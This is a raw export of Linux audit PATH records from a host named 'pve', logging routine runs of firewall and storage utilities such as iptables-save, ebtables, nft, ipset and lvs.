{"@timestamp":1781964555700,"@rawstring":"node=pve type=PATH msg=audit(1781964555.700:61532): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555696,"@rawstring":"node=pve type=PATH msg=audit(1781964555.696:61531): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555696,"@rawstring":"node=pve type=PATH msg=audit(1781964555.696:61531): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555696,"@rawstring":"node=pve type=PATH msg=audit(1781964555.696:61531): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555690,"@rawstring":"node=pve type=PATH msg=audit(1781964555.690:61530): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555690,"@rawstring":"node=pve type=PATH msg=audit(1781964555.690:61530): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555683,"@rawstring":"node=pve type=PATH msg=audit(1781964555.683:61529): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555683,"@rawstring":"node=pve type=PATH msg=audit(1781964555.683:61529): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555677,"@rawstring":"node=pve type=PATH msg=audit(1781964555.677:61528): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555677,"@rawstring":"node=pve type=PATH msg=audit(1781964555.677:61528): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555670,"@rawstring":"node=pve type=PATH msg=audit(1781964555.670:61527): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555670,"@rawstring":"node=pve type=PATH msg=audit(1781964555.670:61527): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555665,"@rawstring":"node=pve type=PATH msg=audit(1781964555.665:61525): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555665,"@rawstring":"node=pve type=PATH msg=audit(1781964555.665:61525): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555660,"@rawstring":"node=pve type=PATH msg=audit(1781964555.660:61524): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555660,"@rawstring":"node=pve type=PATH msg=audit(1781964555.660:61524): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555655,"@rawstring":"node=pve type=PATH msg=audit(1781964555.655:61523): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555655,"@rawstring":"node=pve type=PATH msg=audit(1781964555.655:61523): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555650,"@rawstring":"node=pve type=PATH msg=audit(1781964555.650:61522): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555650,"@rawstring":"node=pve type=PATH msg=audit(1781964555.650:61522): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555645,"@rawstring":"node=pve type=PATH msg=audit(1781964555.645:61521): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555645,"@rawstring":"node=pve type=PATH msg=audit(1781964555.645:61521): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555640,"@rawstring":"node=pve type=PATH msg=audit(1781964555.640:61520): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555640,"@rawstring":"node=pve type=PATH msg=audit(1781964555.640:61520): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555634,"@rawstring":"node=pve type=PATH msg=audit(1781964555.634:61519): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555634,"@rawstring":"node=pve type=PATH msg=audit(1781964555.634:61519): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555627,"@rawstring":"node=pve type=PATH msg=audit(1781964555.627:61518): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555627,"@rawstring":"node=pve type=PATH msg=audit(1781964555.627:61518): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555624,"@rawstring":"node=pve type=PATH msg=audit(1781964555.624:61517): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555624,"@rawstring":"node=pve type=PATH msg=audit(1781964555.624:61517): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555621,"@rawstring":"node=pve type=PATH msg=audit(1781964555.621:61516): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555621,"@rawstring":"node=pve type=PATH msg=audit(1781964555.621:61516): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=PATH msg=audit(1781964555.620:61515): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=PATH msg=audit(1781964555.620:61515): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555620,"@rawstring":"node=pve type=PATH msg=audit(1781964555.620:61514): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555616,"@rawstring":"node=pve type=PATH msg=audit(1781964555.616:61513): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555616,"@rawstring":"node=pve type=PATH msg=audit(1781964555.616:61513): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555616,"@rawstring":"node=pve type=PATH msg=audit(1781964555.616:61513): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555610,"@rawstring":"node=pve type=PATH msg=audit(1781964555.610:61512): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555610,"@rawstring":"node=pve type=PATH msg=audit(1781964555.610:61512): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555603,"@rawstring":"node=pve type=PATH msg=audit(1781964555.603:61511): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555603,"@rawstring":"node=pve type=PATH msg=audit(1781964555.603:61511): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555599,"@rawstring":"node=pve type=PATH msg=audit(1781964555.599:61510): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555599,"@rawstring":"node=pve type=PATH msg=audit(1781964555.599:61510): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555594,"@rawstring":"node=pve type=PATH msg=audit(1781964555.594:61509): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555594,"@rawstring":"node=pve type=PATH msg=audit(1781964555.594:61509): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555587,"@rawstring":"node=pve type=PATH msg=audit(1781964555.587:61508): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964555587,"@rawstring":"node=pve type=PATH msg=audit(1781964555.587:61508): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PATH msg=audit(1781964554.823:61507): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PATH msg=audit(1781964554.823:61507): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PATH msg=audit(1781964554.823:61506): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554823,"@rawstring":"node=pve type=PATH msg=audit(1781964554.823:61505): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PATH msg=audit(1781964554.812:61504): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PATH msg=audit(1781964554.812:61504): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PATH msg=audit(1781964554.812:61503): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554812,"@rawstring":"node=pve type=PATH msg=audit(1781964554.812:61502): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554420,"@rawstring":"node=pve type=PATH msg=audit(1781964554.420:61501): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554420,"@rawstring":"node=pve type=PATH msg=audit(1781964554.420:61501): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554383,"@rawstring":"node=pve type=PATH msg=audit(1781964554.383:61500): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964554383,"@rawstring":"node=pve type=PATH msg=audit(1781964554.383:61500): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PATH msg=audit(1781964549.806:61499): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PATH msg=audit(1781964549.806:61499): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PATH msg=audit(1781964549.806:61498): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=PATH msg=audit(1781964549.806:61497): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PATH msg=audit(1781964549.789:61496): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PATH msg=audit(1781964549.789:61496): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PATH msg=audit(1781964549.789:61495): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=PATH msg=audit(1781964549.789:61494): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545577,"@rawstring":"node=pve type=PATH msg=audit(1781964545.577:61493): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545577,"@rawstring":"node=pve type=PATH msg=audit(1781964545.577:61493): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545574,"@rawstring":"node=pve type=PATH msg=audit(1781964545.574:61492): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545574,"@rawstring":"node=pve type=PATH msg=audit(1781964545.574:61492): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=PATH msg=audit(1781964545.573:61491): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=PATH msg=audit(1781964545.573:61491): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=PATH msg=audit(1781964545.573:61490): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545569,"@rawstring":"node=pve type=PATH msg=audit(1781964545.569:61489): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545569,"@rawstring":"node=pve type=PATH msg=audit(1781964545.569:61489): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545569,"@rawstring":"node=pve type=PATH msg=audit(1781964545.569:61489): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545563,"@rawstring":"node=pve type=PATH msg=audit(1781964545.563:61488): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545563,"@rawstring":"node=pve type=PATH msg=audit(1781964545.563:61488): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545557,"@rawstring":"node=pve type=PATH msg=audit(1781964545.557:61487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545557,"@rawstring":"node=pve type=PATH msg=audit(1781964545.557:61487): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545551,"@rawstring":"node=pve type=PATH msg=audit(1781964545.551:61486): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545551,"@rawstring":"node=pve type=PATH msg=audit(1781964545.551:61486): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545545,"@rawstring":"node=pve type=PATH msg=audit(1781964545.545:61485): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545545,"@rawstring":"node=pve type=PATH msg=audit(1781964545.545:61485): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545540,"@rawstring":"node=pve type=PATH msg=audit(1781964545.540:61483): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545540,"@rawstring":"node=pve type=PATH msg=audit(1781964545.540:61483): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545535,"@rawstring":"node=pve type=PATH msg=audit(1781964545.535:61482): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545535,"@rawstring":"node=pve type=PATH msg=audit(1781964545.535:61482): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545530,"@rawstring":"node=pve type=PATH msg=audit(1781964545.530:61481): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545530,"@rawstring":"node=pve type=PATH msg=audit(1781964545.530:61481): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545525,"@rawstring":"node=pve type=PATH msg=audit(1781964545.525:61480): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545525,"@rawstring":"node=pve type=PATH msg=audit(1781964545.525:61480): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964545520,"@rawstring":"node=pve type=PATH msg=audit(1781964545.520:61479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 